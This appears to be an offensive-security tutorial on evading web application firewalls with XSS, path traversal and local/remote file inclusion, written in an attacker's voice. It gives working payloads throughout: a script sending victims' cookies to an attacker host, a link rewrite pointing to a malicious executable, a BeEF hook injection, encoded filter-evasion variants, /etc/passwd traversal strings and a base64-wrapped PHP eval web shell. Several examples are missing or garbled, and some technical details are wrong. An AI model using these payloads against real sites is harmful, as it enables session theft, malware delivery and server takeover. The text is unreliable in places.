WAF Bypassing with XSS
Cross Site Scripting – XSS
Cross
Site Scripting (or simply XSS) is an injection type at- tack where the attacker
injects malicious scripts into trusted websites. The vulnerability occurs when
we use a web application to send maliciously
crafted code in the form of a browser side script, most of the time in HTML, to
a different user of the application. These kinds of attacks take place in many
places of a web application, most of the time in the parts that the user can
supply content to it and the web application generates it within the output,
with- out validating or encoding it.
As we said, the
attacker can send malicious code to another user. The browser of the user that
will receive this code has no way to know that this script cannot be trusted,
and it will be executed, as it was given by the website itself. Cookies,
session tokens, and other user sensitive information, are only some of the data
that we can acquire with XSS attacks.
To continue, Cross-Site
Scripting (XSS) attacks occur when:
•
Data enters a Web application through an untrusted source, most frequently a
web request.
• The data is included in dynamic content that
is sent to a web user without being validated for malicious con- tent.
The malicious content that we sent to the
web browser often takes the form of a segment of JavaScript, but it can include
HTML, Flash, or any other type of code that the browser recognizes and
executes. The variety of attacks based on XSS is almost limitless. These
scripts can even rewrite the content of the HTML page. They can also redirect the victim to web content controlled by the
attacker, or perform other malicious operations on the user’s end.
There are also other types of
XSS attacks. XSS is basically categorized as either stored or reflected, but
the DOM
Based XSS also exists that is less common.
•
Stored XSS Attacks:
This kind of XSS is where
the script that the attacker
injects is permanently stored on the target server, like in a forum thread, comments or, generally,
in a database. The victim then retrieves
the script by reacting
with the means that carries
it, and executes it, unveiling
the malicious results.
Stored XSS is also
sometimes referred to as Persistent or Type-I
XSS.
•
Reflected XSS Attacks: In this XSS type, the script we inject is reflected
off the web server, such as in an er-
ror message, or any response that includes some or all of the input sent to the server as part of the request. These attacks are executed through other routes and not input fields. These routes can be email messages,
or redirections from other websites.
The user firstly
is tricked into clicking a link, or visiting a website that is maliciously crafted, and the injected code heads to this site, which reflects
the attack back to the user’s browser. Finally,
the browser executes the code because it came from a trusted server. Reflected XSS is also sometimes
referred to as Non-Persistent or Type-II
XSS.
As you can understand, WAFs try to
filter these kind of attacks, but the amount of exploitation methods of XSS is
so big that it is really difficult for WAFs to keep up. Also, XSS is really
difficult to find and remove from a web applica- tion. The most common way is
to review all places that input is taken with HTML tags, and by this an
attacker can transmit malicious Javascript code. Finally, it is common that if
one part of the application is vulnerable to XSS, other
problems exist as well.
In the following example, we
can see a server side script that is used by the application to display the
latest comment:
print
"<html>"
print "Latest comment:"
print databse.latestComment
print "</html>"
Of course, the script assumes
that the user only supplies text, however since the user input is included
directly, an attacker could submit other
input too. For example:
<script>...</script>
Inside the <script> tags, the
attacker can insert JavaScript code that will be executed by the user that will
open the malicious comment of the attacker.
Now, many will ask how
JavaScript can be malicious, and for this there are some facts that we have to keep in mind:
•
JavaScript
has access to much sensitive info, carried by the browser, like cookies.
•
JavaScript can modify the HTML of the current page using
DOM manipulation methods.
•
JavaScript can send HTTP requests
with arbitrary content
to arbitrary destinations by using the XMLHttpRe-
quest parameter and other mechanisms.
These facts can be combined to perform attacks like
cookie theft, keylogging and phishing. So, let’s add JavaScript code to our
previous example, where we will try to steal the session cookie of the users
that navigate to the comments page:
<script>
window.location='http://maliciouswebsite.com/?cookie='+document.cookie </
script>
When the
victim is visiting the page of this comment, this script navigates him to a
different URL (the URL that we add to the script), that will trigger an HTTP
request on the attacker’s server. The URL will include the victim’s cookie as a
parameter which we can later extract. With the possession of the cookie, one
can impersonate the victim on the exploited website, and perform
more attacks.
XSS Syntax
Until now,
we saw how to perform XSS using the <script> tags. But the truth is that
XSS may be conducted without using them, and other tags will work as well. For
example:
<img
src="http://fakewebsite.com/image.jpg" onerror=alert(document.cookie);>
The onerror
event that we see here is triggered if an error occurs while loading an
external file, and here returns the cookie of the user, similarly with the earlier example. Another interesting
event commonly used in xss attacks is the onmouseover,
that produces an action when the user passes the mouse over the link, image or
other infected tag.
Here is an example:
<b
onmouseover=alert('Hacked')>click me!</b>
Here we can see that we use the
bold tag and with the onmouseover event we produce an alert that writes Hacked
when the user passes the mouse over the click me! text.
Reflected Cross
Site
As
we already said, this type of XSS occurs when we inject code to an HTTP
response and the code is not stored in the application, but attacks users that
open specially
crafted URLs or 3rd party pages. The
string is contained in the URL or in the HTTP parameters, which is processed
wrong by the application and it gets returned to the victim. Finally, there are
three steps in performing an XSS at-
tack.
First of all, we have to detect
the input vectors of the web application. By this we mean that we have to find
all the user-defined variables of the website and how the input is done. Some
might say that this is pretty easy, but keep in mind that most of the time
hidden and nonobvious input exists in HTTP parameters, POST data and hidden
HTML fields that the developer has added. We can use a proxy to view and edit
the requests, or an HTML editor to find and edit hidden fields in a web page.
The
next step is to analyze this input path we found and detect if an XSS
vulnerability exists. For XSS detection, we have to use specially crafted input
data that will be harmless, but triggers responses from the browser that will
get the return from the vulnerability. The data that we supply to the
application can be made with many ways, but some good examples are simple
scripts, like the examples we saw earlier. For example:
<script>alert(‘test’)</script>
“><script>alert(document.cookie)</script>
<IMG
SRC="javascript:alert('XSS');">
Now that we know if our web application is
vulnerable or not, we have to determine if this vulnerability has a serious
impact to the web application’s security. To do so, we have to examine the output
HTML page of our test in step one, and find our input. Once found, we have to
check for any special characters that were not properly encoded or filtered by
the web application or the WAF. In a
secure application, all HTML special characters will be replaced. Some key HTML
characters to look for are: <,>,&,’,”, but there are many guides available on the internet
with
more special characters
(https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references).
Also,
in the context of HTML action or JavaScript, other special characters have to
be determined, like:
\n
(new line)
\r
(carriage return)
\'
(apostrophe or single quote)
\"
(double quote)
\\
(backslash)
\uXXXX
(unicode values)
More special code characters can be found here:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in
_strings
Let’s
see an example of a web application where users navigate to a page that changes
its HTML code, by the pa- rameter ?id= of the URL, for example, a shop that
redirects to a credit card service. This is a data entry point where we can
give input as we saw earlier. So, let’s supply the following:
Of course, by this we can
understand that an XSS vulnerability exists and we can execute the code of our
choice on
anybody’s browser if the victim
clicks on our supplied link.
Of course, now that we know that
this parameter is vulnerable, we can alternate the script and do whatever we
want. A good example is to supply the following code:
http://eshop.com/checkout.php?id=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://attackerssite.com/malicious.exe";
}</script>
With
the visit of the victim in this URL, he will download a malicious executable
from a site of our preference. So, you can see that the possibilities are
endless.
Another XSS
method we mentioned was stored XSS. This is the most lethal of the two most
common methods, and it happens to web applications that allow users to supply
input that is stored to the
database, and it may be malicious. For example, a forum that accepts comments
and is vulnerable can save the malicious comment of a user and exploit everyone
that interacts with this page. Other at- tacks that can be performed are:
• Hijacking another user’s browser
•
Capturing sensitive information viewed by application users
• Port scanning of
internal hosts (“internal” in relation to the users of the web application)
•
Directed delivery of browser-based exploits
Unlike
Reflected XSS, stored does not need a link and phishing methods to make the
victim visit the maliciously crafted URL. If the victim visits the vulnerable
web page that has been exploited, the code is executed by the user’s browser.
Of course, this type of attack is really dangerous for users with extended
privileges, admins, etc., because these are the users that are targeted and
have most of the privileges in a web site.
The
process of testing for a stored XSS is pretty similar with the reflected one,
but let’s examine an example to see the differences in the web application and
the behavior of the attack. We will do this mostly because we have to un-
derstand where the code is stored and where it exists in the context of the
page. Let’s take, for example, a page where we create a new user account for a
website. There, despite all the other input fields, it has a field where we
input our email for verification and login reasons. By its nature, an email
field has to be more flexible, because it may contain special characters and
may be case sensitive, so the filtering of this kind of field is difficult.
Examining
the code of this page, we find the following piece of code:
<input class="inputbox"
type="text" name="name" size="40" value="
" />
<input class="inputbox" type="text"
name="username" size="40" value=" " />
<input class="inputbox" type="text"
name="email" size="40" value=" " />
…
As we can see, the value
attribute of each field will include whatever we are going to supply to the web
application.
For example, if we supply
Alexander to the name field, this piece of code will be:
<input
class="inputbox" type="text" name="name"
size="40" value="Alexander" />
Let’s say that we want to test this field and supply malicious
code, how can we do it? We simply craft a string that
will serve the needs of the HTML code. For example:
Alexander”><script>alert(“123”)</script>
Now the code is stored in our
credentials, and every time a user of this website sees our profile, he will be
served with a popup saying 123. As you can understand, in many cases, it is a
very restricted scenario because we may have only one try to give the string we want, as the account may not
accept changes in one or all of its fields. In this scenario,
we probably have to create
multiple accounts to test it correctly, but this may create problems in the
testing server.After we are sure about the
vulnerability of the field, we continue with supplying a
malicious script to
check its behavior. For example:
Alexander%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Here we have a well-known string, that returns the user’s cookie,
but we have URL encoded the
special characters to bypass the WAF that exists in the server.
Keep in mind
that, nowadays, many browsers disable JavaScript for security reasons, or
modify the the HTTP re- quests (client side controls). So, an attack may be
presented in a page, but not succeed because of client side con- trols. It is
also important to test the same attack scenario with GET and POST methods,
because it may be sensitive only to one way.
External Script
Execution
Until now, we saw that we use really small fragments of code
in our scripts, usually written in the <script> tags. But what if we want
to execute a script in the victim’s browser
that is hosted outside the website? It is again pretty easy,
and we can perform it by simply
supplying the following in the vulnerable field:
Here you can see that we are using the src
attribute that gives us the ability to include a link to our tags. This script
execution is also stealthy, because we have left empty the space inside the
script tags. As you can see, our hosted script is written in JavaScript,
because it is a script language that usually executes in a browser. Some
examples for WAF bypassing with this attack would be:
<SCRIPT
=">" SRC="http://script-host/xssattack.js"></SCRIPT>
<scri<script
src="http://script-host/xssattack.js">pt src=”http://script-host/
xssattack.js”></script>
Attack with Event Handlers
Another thing we talked about a little
bit earlier is the
event handlers. An HTML event can be something that the browser or the user does, so in our script, we use these
event handlers to be able to handle events that take place.
Also, JavaScript can react to
these events. Some interesting events can be the following:
•
onClick()
– When someone clicks a
form, link, etc.
•
onError()
– When loading of a
document or image causes an error
•
onFocus()
– The string gets
executed when the window gets focus
•
onLoad()
– The string gets
executed when the window is finished loading
These and many more can be found on the internet that can exploit
several behaviors of the user or the browser,
and help us bypass some restrictions. A good example could be:
"
onfocus="alert(document.cookie)
We can add this to an input
field, as we saw earlier, and it will trigger the cookie grabbing when the
window gets
into focus. Also, we can use the onError event, or any event as
an HTML attribute, like this:
<img src="http://website/image.jpg" onerror=alert(document.cookie);>
Here the event triggers if the
image from the img tag has a problem loading, and if this happens, cookie
grabbing takes place. It is a case restricted scenario, but if the attacker
manages to find a page that has problems loading im- ages and has XSS
vulnerabilities, it is a really good way. Finally, a way that is mostly used in
reflected XSS is the on- mouseover event handler, that can be used like this:
<script
onmouseover="alert(document.cookie)></script>
Here we
have a script that every time the user passes the mouse over the URL, it
triggers the cookie grabber, and
can be easily used in phishing attacks,
in emails, and comments in stored XSS scenarios.
XSS Attacks with BeEF & XSS Attacks and WAF Bypass with XSSer:
BeEF
(Browser Exploitation Framework) is a frame- work for attacking web browsers
and exploiting XSS vulnerabilities and victims’ browsers. We have to keep in
mind that BeEF is not a vulnerability finder and we have to manually find the
XSS vulner- ability to proceed in using BeEF. The first step is to fire up BeEF
from Kali Linux, which comes prein- stalled in it or install it in a Linux
machine from here: http://beefproject.com/.
A browser window will start looking at the localhost and
port 3000,where the BeEF is running. Now the next step is to hook
the victim’s browser to BeEF, which we can do by simply attacking XSS
with something like the following:
http://www.testsite.com/xss-test.php?id=<script
src=”http://<IP>:3000/hook.js”></ script>
XSS Attacks and WAF Bypass with XSSer
Cross
site Scripter – XSSer is a really powerful tool that can automate the process
of detection and ex- ploitation of XSS vulnerabilities. It can be found pre-
installed in Kali Linux, or here http://xsser.03c8.net/
for download and installation on another Linux
machine.To run it, we just open
a terminal and type something like this:
xsser -u ‘http://vulnerable-website.com’ -g
'Search.asp?tfSearch=' -Fuzz -s
Here
you can see that we used the following options:
-u :
The URL for the site we want to test
-g : The HTTP
Method to use (GET or -p for POST or -C for Crawling)
These
are only a few of the large amount of options and modifications that we can do
in this script. Here we run a really simple example, but you can see all the
available options in the help page of XSSer by typing xsser -h
Path Traversal
A
path traversal vulnerability allows an attacker to access the file system, or a part of it, that is stored outside the webroot folder. Most
of the time, this vulnerability gets
exploited by manipulating variables that reference files with ../ sequences, or some variation of it, or by using
absolute file paths. With this, it may be possible to access files and whole
directories stored on the file system of the web hosting server. Most of the
time, files are limited by system access controls, but this goes to other type
of attacks.
Path traversal, due to its nature, gets filtered by WAFs, and
this is why we have to be able to bypass them. The usual
“dot-dot-slash” ../
can be bypassed with the same methods as the earlier examples.
For example:
%2e%2e%2f
%2e%2e/
..%2f
But due to its small nature, WAFs
are successful in filtering all its variations. So, we have to find other ways
to bypass this. To do so, let’s see an example that we want to read files in
the directory one level higher than the root. Here
the code that runs in the back
end would be:
<?
include($_GET['file'].".txt") ;?>
To exploit this part with path traversal we can supply:
http://website.com/?file=filesystem/admins.db/./.[N]/./.
http://website.com/?file=filesystem/admins.db..[N]..
This
?file= parameter is vulnerable because of two features of PHP functions that
exist to interact with the file sys- tem. The first one, that we talked about
in an earlier module, is path normalization, where odd symbols like / that we
use in path traversal are removed, and the second one is path truncation, which
is bypassing the PHP limits, in versions lower than 5.3 on PHP. We just have to
add 4096 characters after the file name ( add 2050 /. after the file name) to
success. For example :
http://website.com/?file=../../../index.php/./././././....[ 4096 ] /.
A simpler example
of path traversal
to see how the request
of this code <?include("./files/".
$_GET['file']
) ; ?> , will be done, after the injection of the
following string:
/?file=/union%20select/../../../../../../../etc/passwd
The request on the program will
become something like the following:
<?include("
./files// uni X on%20sel X ect /../../../../../../../etc/ passwd ") ;
?>
To
continue with path traversal exploitation, we can execute commands in the
server. Of course, this example is OS sensitive, and we first have to know the
OS that the server is based, to execute the correct commands, and plan cor-
rectly the file system. To exploit the first example code that we saw in path
traversal, we inject the following:
/?file=data:, <? php eval ($_REQUEST[ cmd ]);?> & cmd =
phpinfo ();
Of
course, this is a really simple example that targets Windows machines, but it
will not pass a WAF, because it has special characters that will be filtered
from WAF. To harden this string, let’s encode it with base64 and it will become:
/?file=
data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk 7ID8%2b &cmd= phpinfo ();
Now,
our WAF got bypassed because it didn’t decode the base64 string, and the path
traversal vulnerability was based on a feature of the PHP interpreter of the
server.
Remote and Local
File Inclusion
File
inclusion vulnerabilities allow us to include a file by exploiting the dynamic
file inclusion mechanisms in the target server. This vulnerability is caused
due
to the lack of proper
validation of the users. These attacks can lead to many serious results, like:
•
Outputting the contents of the file
•
Code
Execution
•
XSS
•
DoS,
etc.
The two main categories are RFI and LFI. The Remote code execution
is the process of including remote files through exploiting the inclusion
procedures implemented in the server, as
we said earlier. As an example, let’s say that a page receives as an input
the path to a file that has to be included next, and this input is not properly
sani- tized, allowing an external URL to be included.
On
the other hand, Local File Inclusion is when we include files that exist
locally on the server by exploiting the vul- nerable inclusion procedures of
the targeted application. Similarly with the RFI, when a page receives an input
with a path to a file that has to be included to the next page, and this input
is not properly sanitized, and allows path tra- versal characters, like the
../, to be injected.
To continue, as we said in path
traversal, for all these attacks, we have to know the OS that the server is
running, for many reasons, and one of these is that the path separator is
changing in its OS. The three most used Os’s and their
path separators are:
•
Unix core OS – Root directory and separator: /
•
Windows – Root directory: drive letter:\ , directory separator: / or \
•
MacOS – Root directory: drive letter: , directory
separator: :
Now let’s examine some examples to see how we can conduct such an
attack, and be able to bypass WAF at the
same time. Let’s consider the
following link:
As we can understand by the call
for the rfi.html file from the URL, it is possible for this site to have an LFI
vulnerabil- ity. A common test to see more security aspects is to firstly go
for the passwd file of the server. To do so, let’s try the
following:
http://website.com/index.php?file=../../../../etc/passwd
In some situations, this will have
been executed, but this time a WAF has filtered our input. The first thought is
to encode some aspect of this URL. For example:
By encoding all the slashes, it is really possible to
successfully bypass WAF, and we bypass it but we have a problem
executing it in the server.
Let’s consider the following piece of code:
<?php
“include/”.include($_GET['filename'].“.php”); ?>
This
is the server code that handles this parameter, which can be bypassed by using
null-byte terminators, because the represents the end of the string and any
characters after this byte will be ignored. So we execute the follow-
ing URL:
This will return the list of
basic user attributes, which will be something like the results of Image.
Finally, let’s examine a code segment, for an RFI attack:
$incfile =
$_REQUEST["file"]; include($incfile.".php");
Here
we have a PHP code segment from a backend file, that takes filenames as
parameters. In a vulnerability like this, the path is extracted from the HTTP
request and no input validation is done afterwards, so it is considered vul-
nerable to RFI. So, ideally, the following URL would exploit a vulnerable
website like this:
In this case, the remote file is going
to be included and any code contained in it is going to be run by the server.
Once more, in the RFI attack, we can use request normalization or encoding in
the attacking URL, to be able to by- pass a WAF. Finally, this was the last
attack vector that we can include in the attacks that a WAF is securing and
that
we have to bypass a WAF to
conduct them.